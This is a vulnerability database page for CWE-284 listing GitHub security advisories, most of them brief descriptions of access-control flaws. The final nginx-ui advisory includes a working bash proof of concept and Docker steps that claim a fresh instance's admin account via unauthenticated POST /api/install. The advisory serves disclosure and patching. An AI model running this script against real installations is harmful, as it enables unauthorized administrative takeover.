CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7803 vulnerabilities reference this CWE, most recent first.
GHSA-MX29-5CR3-PH3C
Vulnerability from github – Published: 2022-05-17 04:13 – Updated: 2022-05-17 04:13Cisco TelePresence T, TelePresence TE, and TelePresence TC before 7.1 do not properly implement access control, which allows remote attackers to obtain root privileges by sending packets on the local network and allows physically proximate attackers to obtain root privileges via unspecified vectors, aka Bug ID CSCub67651.
{
"affected": [],
"aliases": [
"CVE-2014-2174"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-05-25T00:59:00Z",
"severity": "HIGH"
},
"details": "Cisco TelePresence T, TelePresence TE, and TelePresence TC before 7.1 do not properly implement access control, which allows remote attackers to obtain root privileges by sending packets on the local network and allows physically proximate attackers to obtain root privileges via unspecified vectors, aka Bug ID CSCub67651.",
"id": "GHSA-mx29-5cr3-ph3c",
"modified": "2022-05-17T04:13:12Z",
"published": "2022-05-17T04:13:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2174"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150513-tc"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MX2H-33CR-3Q5J
Vulnerability from github – Published: 2024-04-18 21:30 – Updated: 2024-04-18 21:30HCL Connections contains a broken access control vulnerability that may expose sensitive information to unauthorized users in certain scenarios.
{
"affected": [],
"aliases": [
"CVE-2024-30107"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-18T21:15:07Z",
"severity": "LOW"
},
"details": "HCL Connections contains a broken access control vulnerability that may expose sensitive information to unauthorized users in certain scenarios.\n",
"id": "GHSA-mx2h-33cr-3q5j",
"modified": "2024-04-18T21:30:31Z",
"published": "2024-04-18T21:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30107"
},
{
"type": "WEB",
"url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0112489"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MX5W-7WWG-47X7
Vulnerability from github – Published: 2025-09-02 15:31 – Updated: 2026-04-29 04:12A vulnerability has been found in xujeff tianti 天梯 up to 2.3. The impacted element is the function ajaxUploadFile of the file src/main/java/com/jeff/tianti/controller/UploadController.java. The manipulation of the argument upfile leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-9795"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-01T21:15:29Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in xujeff tianti \u5929\u68af up to 2.3. The impacted element is the function ajaxUploadFile of the file src/main/java/com/jeff/tianti/controller/UploadController.java. The manipulation of the argument upfile leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-mx5w-7wwg-47x7",
"modified": "2026-04-29T04:12:21Z",
"published": "2025-09-02T15:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9795"
},
{
"type": "WEB",
"url": "https://github.com/xujeff/tianti/issues/43"
},
{
"type": "WEB",
"url": "https://github.com/xujeff/tianti/issues/43#issue-3287851827"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322110"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322110"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.641122"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MX7M-J9XF-62HW
Vulnerability from github – Published: 2025-11-14 17:46 – Updated: 2025-11-14 17:46Summary
A vulnerability in Apollo Federation's composition logic allowed some queries to Apollo Router to improperly bypass access controls on types/fields. Apollo Federation incorrectly allowed user-defined access control directives on interface types/fields, which could be bypassed by instead querying the implementing object types/fields in Apollo Router via inline or named fragments. A fix to composition logic in Federation now disallows interfaces types and fields to contain user-defined access control directives.
Details
Apollo Federation allows users to specify access control directives (@authenticated, @requiresScopes, and @policy) to protect object and interface types and fields. However, the GraphQL specification does not define inheritance rules for directives from interfaces to their implementations. When querying object or interface types/fields, Apollo Router will enforce any directives on those object or interface types/fields, but ignore any directives on interface types/fields they implement. This inconsistent enforcement behavior leads to unexpected runtime security gaps.
Who is impacted
This vulnerability impacts Apollo Federation customers defining @authenticated, @requiresScopes, or @policy directives on interface types/fields.
Scope of Impact
This vulnerability could allow a malicious actor to craft a query that can bypass access control requirements on the interface types/fields by instead querying them via implementing object types/fields that don't have the same access control requirements via inline or named fragments.
Patches
This vulnerability has been fixed in Apollo Federation's composition logic by rejecting user-defined access control directives entirely on interface types and fields (note that access control directives on @interfaceObject fields are not rejected, as those are really specifying requirements on the virtual object fields). Instead, Apollo Federation's composition logic will automatically generate access control directives for interface types/fields in the supergraph schema based on the access control directives on the implementations in subgraph schemas.
Note that this is a breaking change to Apollo Federation, as it no longer allows user-defined access control directives directly on interfaces types and fields. You will need to remove all access control requirements on interface types/fields and manually apply them to each implementing object type/field, where appropriate.
If users are using the Apollo Studio build pipeline with federation version 2.9 or above, then this composition patch version update is automatic and they only need to adjust the access control requirements in your subgraph schemas as mentioned above.
If users are using Apollo Rover for local composition, they will need to update its composition version (after updating Apollo Router, if necessary) to one of the following versions:
- 2.9.5+
- 2.10.4+
- 2.11.5+
- 2.12.1+
Users will then need adjust the access control requirements in your subgraph schemas as mentioned above.
Workarounds
- If using Apollo Rover with an unpatched composition version or are using the Apollo Studio build pipeline with Federation version 2.8 or below, users should manually copy the access control requirements on interface types/fields to each implementing object type/field where appropriate. Do not remove those access control requirements from the interface types/fields, as unpatched Apollo Composition will not automatically generate them in the supergraph schema.
- Customers not using Apollo Router access control features (
@authenticated,@requiresScopes, or@policydirectives) or not specifying access control requirements on interface types/fields are not affected and do not need to take action.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apollo/composition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.9.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apollo/composition"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0-alpha.3"
},
{
"fixed": "2.10.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apollo/composition"
},
"ranges": [
{
"events": [
{
"introduced": "2.11.0-preview.1"
},
{
"fixed": "2.11.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@apollo/composition"
},
"ranges": [
{
"events": [
{
"introduced": "2.12.0-preview.1"
},
{
"fixed": "2.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64530"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-14T17:46:55Z",
"nvd_published_at": "2025-11-13T23:15:49Z",
"severity": "HIGH"
},
"details": "# Summary\nA vulnerability in Apollo Federation\u0027s composition logic allowed some queries to Apollo Router to improperly bypass access controls on types/fields. Apollo Federation incorrectly allowed user-defined access control directives on interface types/fields, which could be bypassed by instead querying the implementing object types/fields in Apollo Router via inline or named fragments. A fix to composition logic in Federation now disallows interfaces types and fields to contain user-defined access control directives.\n\n## Details\nApollo Federation allows users to specify access control directives ([`@authenticated`, `@requiresScopes`, and `@policy`](https://www.apollographql.com/docs/graphos/routing/security/authorization#authorization-directives)) to protect object and interface types and fields. However, the GraphQL specification does not define inheritance rules for directives from interfaces to their implementations. When querying object or interface types/fields, Apollo Router will enforce any directives on those object or interface types/fields, but ignore any directives on interface types/fields they implement. This inconsistent enforcement behavior leads to unexpected runtime security gaps.\n\n## Who is impacted\nThis vulnerability impacts Apollo Federation customers defining `@authenticated`, `@requiresScopes`, or `@policy` directives on interface types/fields.\n\n### Scope of Impact\nThis vulnerability could allow a malicious actor to craft a query that can bypass access control requirements on the interface types/fields by instead querying them via implementing object types/fields that don\u0027t have the same access control requirements via inline or named fragments.\n\n## Patches\nThis vulnerability has been fixed in Apollo Federation\u0027s composition logic by rejecting user-defined access control directives entirely on interface types and fields (note that access control directives on `@interfaceObject` fields are not rejected, as those are really specifying requirements on the virtual object fields). Instead, Apollo Federation\u0027s composition logic will automatically generate access control directives for interface types/fields in the supergraph schema based on the access control directives on the implementations in subgraph schemas. \n\n_Note that this is a breaking change to Apollo Federation, as it no longer allows user-defined access control directives directly on interfaces types and fields. You will need to remove all access control requirements on interface types/fields and manually apply them to each implementing object type/field, where appropriate._\n\nIf users are using the Apollo Studio build pipeline with federation version 2.9 or above, then this composition patch version update is automatic and they only need to adjust the access control requirements in your subgraph schemas as mentioned above.\n\nIf users are using Apollo Rover for local composition, they will need to update its composition version (after updating Apollo Router, [if necessary](https://www.apollographql.com/docs/graphos/platform/graph-management/updates#recommended-update-order)) to one of the following versions:\n\n- 2.9.5+\n- 2.10.4+\n- 2.11.5+\n- 2.12.1+\n\nUsers will then need adjust the access control requirements in your subgraph schemas as mentioned above.\n\n## Workarounds\n- If using Apollo Rover with an unpatched composition version or are using the Apollo Studio build pipeline with Federation version 2.8 or below, users should manually copy the access control requirements on interface types/fields to each implementing object type/field where appropriate. _Do not_ remove those access control requirements from the interface types/fields, as unpatched Apollo Composition will not automatically generate them in the supergraph schema.\n- Customers not using Apollo Router access control features (`@authenticated`, `@requiresScopes`, or `@policy` directives) or not specifying access control requirements on interface types/fields are not affected and do not need to take action.",
"id": "GHSA-mx7m-j9xf-62hw",
"modified": "2025-11-14T17:46:55Z",
"published": "2025-11-14T17:46:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/federation/security/advisories/GHSA-mx7m-j9xf-62hw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64530"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/federation/pull/3340"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/federation/pull/3341"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/federation/pull/3343"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/federation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@apollo/composition has Improper Enforcement of Access Control on Interface Types and Fields"
}
GHSA-MX8F-FQHW-V9M2
Vulnerability from github – Published: 2025-08-29 03:30 – Updated: 2025-08-29 03:30There is an Access Control Vulnerability in some HikCentral Professional versions. This could allow an unauthenticated user to obtain the admin permission.
{
"affected": [],
"aliases": [
"CVE-2025-39247"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-29T03:15:39Z",
"severity": "HIGH"
},
"details": "There is an Access Control Vulnerability in some HikCentral Professional versions. This could allow an unauthenticated user to obtain the admin permission.",
"id": "GHSA-mx8f-fqhw-v9m2",
"modified": "2025-08-29T03:30:51Z",
"published": "2025-08-29T03:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39247"
},
{
"type": "WEB",
"url": "https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-vulnerabilities-in-some-hikcentral-products"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MX8M-2WH5-M3HH
Vulnerability from github – Published: 2024-08-22 18:31 – Updated: 2024-08-22 21:31Swissphone DiCal-RED 4009 devices allow an unauthenticated attacker use a port-2101 TCP connection to gain access to operation messages that are received by the device.
{
"affected": [],
"aliases": [
"CVE-2024-36441"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-22T16:15:08Z",
"severity": "MODERATE"
},
"details": "Swissphone DiCal-RED 4009 devices allow an unauthenticated attacker use a port-2101 TCP connection to gain access to operation messages that are received by the device.",
"id": "GHSA-mx8m-2wh5-m3hh",
"modified": "2024-08-22T21:31:29Z",
"published": "2024-08-22T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36441"
},
{
"type": "WEB",
"url": "https://www.swissphone.com/en-us/solutions/components/terminals/radio-data-module-dical-red"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-042.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MXGV-84G2-JXG6
Vulnerability from github – Published: 2022-05-17 03:00 – Updated: 2022-05-17 03:00IBM Tivoli Storage Productivity Center could allow an authenticated user with intimate knowledge of the system to edit a limited set of properties on the server.
{
"affected": [],
"aliases": [
"CVE-2016-8942"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-01T20:59:00Z",
"severity": "LOW"
},
"details": "IBM Tivoli Storage Productivity Center could allow an authenticated user with intimate knowledge of the system to edit a limited set of properties on the server.",
"id": "GHSA-mxgv-84g2-jxg6",
"modified": "2022-05-17T03:00:01Z",
"published": "2022-05-17T03:00:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8942"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg21995128"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94916"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXJM-62RX-CX94
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Improper access control in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-50373"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:17:38Z",
"severity": "HIGH"
},
"details": "Improper access control in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-mxjm-62rx-cx94",
"modified": "2026-07-14T18:32:18Z",
"published": "2026-07-14T18:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50373"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MXM2-H8F8-CG3H
Vulnerability from github – Published: 2024-03-14 03:31 – Updated: 2024-08-29 21:31Broken Access Control in the Report functionality of Delinea PAM Secret Server 11.4 allows unprivileged users, when Unlimited Admin Mode is enabled, to view system reports and modify custom reports via the Report functionality in the Web UI.
{
"affected": [],
"aliases": [
"CVE-2024-25653"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-14T03:15:09Z",
"severity": "MODERATE"
},
"details": "Broken Access Control in the Report functionality of Delinea PAM Secret Server 11.4 allows unprivileged users, when Unlimited Admin Mode is enabled, to view system reports and modify custom reports via the Report functionality in the Web UI.",
"id": "GHSA-mxm2-h8f8-cg3h",
"modified": "2024-08-29T21:31:02Z",
"published": "2024-03-14T03:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25653"
},
{
"type": "WEB",
"url": "https://www.cvcn.gov.it/cvcn/cve/CVE-2024-25653"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXQH-Q9H6-V8PQ
Vulnerability from github – Published: 2026-05-06 16:59 – Updated: 2026-05-06 16:59Summary
An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.
When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.
This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.
The primary attack path is direct network access to a reachable fresh instance.[^cors]
This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).
Impact
This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.
The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.
In live testing, the attacker was able to:
- confirm that the target was still uninitialized
- submit attacker-chosen bootstrap credentials
- lock the installation under attacker control
- immediately authenticate as the newly set administrator
Observed values during live reproduction included:
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"}
Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.
PoC
The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.
Standalone PoC:
#!/usr/bin/env bash
set -euo pipefail
base_url="http://127.0.0.1:9000"
email="poc2@nginxui.test"
username="pocverify2"
password="Passw0rd123"
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"
key_json="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
"${base_url}/api/crypto/public_key")"
key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1
printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
| openssl base64 -A
)"
install_post="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_install}\"}" \
"${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"
install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"
printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
| openssl base64 -A
)"
login_response="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_login}\"}" \
"${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"
Observed output during live verification:
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}
Steps to Reproduce
- Start a fresh local
nginx-uiv2.3.5instance from the tested Docker image digest with empty/etc/nginxand/etc/nginx-uidirectories.
mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui
docker run -d --rm --name nginx-ui-poc \
-v "$PWD/.tmp/poc-nginx:/etc/nginx" \
-v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \
uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a
- Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:
docker exec -it nginx-ui-poc bash
Then set base_url to http://127.0.0.1:9000 and run the standalone PoC.
- Observe the output.
Actual result:
GET /api/installreturns{"lock":false,"timeout":false}POST /api/installreturns{"message":"ok"}- a follow-up
GET /api/installreturns{"lock":true,"timeout":false} POST /api/loginsucceeds with the attacker-chosen username and password and returns a valid token
Expected result:
- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret
POST /api/installshould be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor- attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup
Suggested Fix
-
Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.
-
Require a local-only or out-of-band bootstrap secret for
POST /api/install, for example: - generate a one-time setup token at startup
- print or store it locally on the host
-
require that token to complete initialization
-
Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.
-
Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as
/api/self_checkand/api/restore. -
As defense in depth, narrow CORS on setup endpoints.
POST /api/installshould not be callable cross-origin by arbitrary websites. -
Add regression tests covering:
- unauthenticated remote
POST /api/installbeing rejected by default - no installation claim without a valid bootstrap secret
/api/self_checkand/api/restorerequiring authentication- no cross-origin installation via browser preflight and JSON POST
[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: *. That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/nginx-ui"
},
"versions": [
"2.3.5"
]
}
],
"aliases": [
"CVE-2026-42222"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T16:59:43Z",
"nvd_published_at": "2026-05-04T21:16:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nAn unauthenticated bootstrap takeover exists in `nginx-ui` during the initial installation window exposed by `POST /api/install`.\n\nWhen the instance is still uninitialized, `POST /api/install` is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application\u0027s JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.\n\nThis is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.\n\nThe primary attack path is direct network access to a reachable fresh instance.[^cors]\n\nThis was reproduced over HTTP against live local instances started from `nginx-ui` `v2.3.5` using Docker image `uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a` (`org.opencontainers.image.version=2.3.5`, revision `1a9cd29a308278173aa0f16234cb78061dd2bd42`).\n\n## Impact\n\nThis issue allows full unauthenticated takeover of a fresh `nginx-ui` instance during the initial installation window.\n\nThe practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.\n\nIn live testing, the attacker was able to:\n\n- confirm that the target was still uninitialized\n- submit attacker-chosen bootstrap credentials\n- lock the installation under attacker control\n- immediately authenticate as the newly set administrator\n\nObserved values during live reproduction included:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,...,\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\nBecause the bootstrap request also initializes the application\u0027s trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.\n\n## PoC\n\nThe following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only `bash`, `curl`, and `openssl`.\n\nStandalone PoC:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nbase_url=\"http://127.0.0.1:9000\"\nemail=\"poc2@nginxui.test\"\nusername=\"pocverify2\"\npassword=\"Passw0rd123\"\n\ntmpdir=\"$(mktemp -d)\"\ntrap \u0027rm -rf \"$tmpdir\"\u0027 EXIT\n\ninstall_before=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_BEFORE=%s\\n\u0027 \"$install_before\"\n\nkey_json=\"$(curl -fsS \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"timestamp\\\":$(date +%s),\\\"fingerprint\\\":\\\"install-takeover-poc\\\"}\" \\\n \"${base_url}/api/crypto/public_key\")\"\n\nkey_escaped=\"$(printf \u0027%s\u0027 \"$key_json\" | sed -n \u0027s/.*\"public_key\":\"\\(.*\\)\",\"request_id\".*/\\1/p\u0027)\"\nprintf \u0027%b\u0027 \"$key_escaped\" \u003e \"${tmpdir}/public_key.pem\"\nopenssl rsa -RSAPublicKey_in -in \"${tmpdir}/public_key.pem\" -pubout -out \"${tmpdir}/public_key_spki.pem\" \u003e/dev/null 2\u003e\u00261\n\nprintf \u0027{\"email\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}\u0027 \"$email\" \"$username\" \"$password\" \u003e \"${tmpdir}/install.json\"\nencrypted_install=\"$(\n openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/install.json\" \\\n | openssl base64 -A\n)\"\n\ninstall_post=\"$(curl -fsS \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"encrypted_params\\\":\\\"${encrypted_install}\\\"}\" \\\n \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_POST=%s\\n\u0027 \"$install_post\"\n\ninstall_after=\"$(curl -fsS \"${base_url}/api/install\")\"\nprintf \u0027INSTALL_AFTER=%s\\n\u0027 \"$install_after\"\n\nprintf \u0027{\"name\":\"%s\",\"password\":\"%s\",\"otp\":\"\",\"recovery_code\":\"\"}\u0027 \"$username\" \"$password\" \u003e \"${tmpdir}/login.json\"\nencrypted_login=\"$(\n openssl pkeyutl -encrypt -pubin -inkey \"${tmpdir}/public_key_spki.pem\" -pkeyopt rsa_padding_mode:pkcs1 -in \"${tmpdir}/login.json\" \\\n | openssl base64 -A\n)\"\n\nlogin_response=\"$(curl -fsS \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"encrypted_params\\\":\\\"${encrypted_login}\\\"}\" \\\n \"${base_url}/api/login\")\"\nprintf \u0027LOGIN_RESPONSE=%s\\n\u0027 \"$login_response\"\n```\n\nObserved output during live verification:\n\n```text\nINSTALL_BEFORE={\"lock\":false,\"timeout\":false}\nINSTALL_POST={\"message\":\"ok\"}\nINSTALL_AFTER={\"lock\":true,\"timeout\":false}\nLOGIN_RESPONSE={\"message\":\"ok\",\"code\":200,\"token\":\"\u003credacted\u003e\",\"short_token\":\"qIJAE3dQMm3afhaV\"}\n```\n\n## Steps to Reproduce\n\n1. Start a fresh local `nginx-ui` `v2.3.5` instance from the tested Docker image digest with empty `/etc/nginx` and `/etc/nginx-ui` directories.\n\n```bash\nmkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui\n\ndocker run -d --rm --name nginx-ui-poc \\\n -v \"$PWD/.tmp/poc-nginx:/etc/nginx\" \\\n -v \"$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui\" \\\n uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a\n```\n\n2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:\n\n```bash\ndocker exec -it nginx-ui-poc bash\n```\n\nThen set `base_url` to 